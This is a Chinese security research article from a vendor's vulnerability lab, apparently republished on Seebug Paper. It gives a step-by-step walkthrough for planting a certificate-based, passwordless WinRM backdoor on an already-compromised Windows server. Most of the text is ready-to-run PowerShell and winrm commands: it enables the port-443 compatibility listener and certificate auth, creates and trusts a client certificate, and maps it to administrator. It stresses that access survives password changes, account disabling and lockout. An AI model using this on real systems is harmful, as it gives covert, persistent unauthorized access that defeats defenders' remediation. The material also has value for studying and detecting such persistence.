作者:360漏洞研究院 cldog,freexploit
原文链接:https://vul.360.net/archives/95
本文主要介绍基于证书认证的无密码Winrm后门认证实现。无密码认证的特性,决定了其在隐蔽维持方面的天然优势,研究员在测试中甚至发现即使证书申请账户的密码被修改、账户被禁用、锁定等其他恶劣对抗环境,在一定较长时间内仍然可以通过之前生成的旧证书私钥与目标建立认证;同时结合Winrm的443端口复用Listener,可实现内网环境对公网NAT开放的网站系统如Exchange、Sharepoint等进行隐蔽的权限维持。
0x01. 基本原理介绍
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
在Windows 的远程管理服务WinRM的基础上,使用拥有客户端身份认证 EKU 的证书,配合HTTP.sys驱动的端口复用,即可实现无密码的Winrm证书认证后门。
0x02.原有的Winrm后门技术实现及思考
基于用户名/密码认证的Winrm后门技术已成为经典手法,同时配合HTTP.sys驱动所实现的端口复用功能也被公众熟知。整体来看,当前针对Winrm后门,给出的技术方案基本包括以下几点:
1、基础的用户名/密码认证后门;
2、结合HTTP.sys驱动的端口复用后门;
3、由用户名/密码认证所延伸出的用户名/哈希认证后门;
4、解决Winrm UAC的后门辅助技巧。
现有的Winrm解决方案从根本上来说都是以用户名/密码或者HASH为根基,其缺点也较为明显,一旦用户密码修改即可使得winrm认证失效。针对该问题,研究员通过查阅Microsoft TECHNET发现Winrm还支持证书认证,测试了可以通过配置证书认证的方式实现无需密码认证的Winrm解决方案。
该方案整体利用思路如下:
1、服务端启用443复用Listener或传统https Listener,且开启证书认证;
2、服务端配置证书认证;
3、客户端利用证书登录;
4、完美后门验证。
接下来将逐一进行介绍,介绍过程中将以443复用Listener后门为例,传统https Listener后门配置基本相同,这里不再介绍。
0x03. 启用服务器Listener与Cerification Auth
以下所有配置过程基于以下场景:
- 目标服务器IP为:192.168.60.200
- 已经获得该机器上administrator权限
- 该主机已经配置IIS服务,具备https站点 对外开放443端口
默认情况下,在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是winrm quickconfig -q,这条命令运行后会自动添加防火墙例外规则,放行5985端口。
(1)可通过以下命令查看当前Listener,如图一:
winrm e winrm/config/listener
可见,默认只有5985端口的HTTP Listener,Winrm服务并不会创建443兼容Listener。
(2)可通过以下命令创建443兼容Listener,如图二:
winrm set winrm/config/service '@{EnableCompatibilityHttpsListener="true"}'
发现已经成功启用443端口兼容Listener。
(3)默认情况下,Winrm服务端同样不会启用Certification Auth认证方式。使用如下命令查看当前启用的认证方式 ,如图三:
winrm get winrm/config/service/auth
发现目前尚未启用Certification Auth。
(4)可通过以下命令启用Certification Auth认证方式 ,如图四:
Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $true
0x04. 配置证书认证
在启用服务器Listener与Cerification Auth后,接下来需要生成客户端证书并配置服务端证书认证,主要涉及两个方面:
1、客户端证书生成
2、将服务器用户与客户端证书形成映射
- 首先生成客户端证书 ,如图五:
$winClientCert = New-SelfSignedCertificate -Type Custom -Subject "CN=administrator" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.2","2.5.29.17={text}upn=administrator@localhost") -KeyUsage DigitalSignature,KeyEncipherment -CertStoreLocation Cert:\CurrentUser\My\
- 将生成的证书公钥导出 ,如图六:
Export-Certificate -Cert Cert:\CurrentUser\My\12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -FilePath C:\Windows\Temp\public.crt
- 将公钥复制到Winrm服务器,验证无误后,并将其导入。
(1)验证公钥指纹,如图七:
$winClientCert = Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt
(2) 导入证书 ,如图八:
Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\Root
Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\TrustedPeople
- 建立客户端证书与服务器用户映射,如图九:
New-Item -Path WSMan:\localhost\ClientCertificate -Subject "administrator@localhost" -URI * -Issuer ((Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt).Thumbprint) -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "192.168.60.200\administrator", (ConvertTo-SecureString -String "Aa123.com" -AsPlainText -Force)) –Force
此处的Aa123.com为administrator密码
- 至此服务端全部配置已经完成,同时检测IIS的web服务也能完全正常运行,如图十:
0x05. 客户端利用证书登录
在以上步骤完成之后,客户端即可使用生成的证书以administrator身份实现Winrm远程登录。
默认客户端已启用Certificate 认证方式,同样可通过以下命令查看、启用该认证方式,如图十一:
winrm get winrm/config/client/auth
Set-Item -Path WSMan:\localhost\Client\Auth\Certificate -Value $true
Winrm远程登录命令如下,如图十二:
Enter-PSSession -ComputerName 192.168.60.200 -Port 443 -UseSSL -CertificateThumbprint 12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
成功利用证书完成认证登录。
0x06. 完美后门验证
针对现有Winrm后门修改密码立即失效的尴尬场景,本文后门方案一定程度上解决了这个问题,因为研究员发现,在用户密码修改、禁用、用户锁定等恶劣对抗环境中仍展现出优秀能力:
- 针对用户密码被修改的场景
经测试,在多次修改administrator密码后,利用之前的客户端证书成功认证登录,如图十三、图十四:
- 针对用户被禁用的场景
在使用该用户身份与客户端证书形成映射后,将该用户禁用,利用之前的客户端证书成功认证登录,如图十五:
- 针对用户被锁定的场景
在使用该用户身份与客户端证书形成映射后,然后利用组策略等方法将该用户禁用,再测试利用之前的客户端证书仍然可以成功认证登录,如图十六:
可以发现,利用该后门方案配置后,无论目标服务器用户如何变更,经测试在一定时间内,均可以认证成功,可达到对目标的隐蔽权限维持。
利用条件:
获得目标主机administrator会话权限/密码/HASH
目标主机Winrm服务的 https Listener (443兼容Listener或传统 https Listener 均可)可被访问
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1692/